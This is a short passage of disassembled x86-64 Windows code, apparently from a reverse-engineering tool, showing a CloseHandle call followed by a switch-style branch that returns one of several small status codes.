call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 7
mov rdi, qword [rsp + 0xb0]
je case.0x1400a90a1.2
mov eax, 2
add rsp, 0x90
pop rbx
ret
mov eax, 1
add rsp, 0x90
pop rbx
ret
mov eax, 4
add rsp, 0x90
pop rbx
ret
mov eax, 5
add rsp, 0x90
pop rbx
ret
xor eax, eax
add rsp, 0x90
pop rbx
ret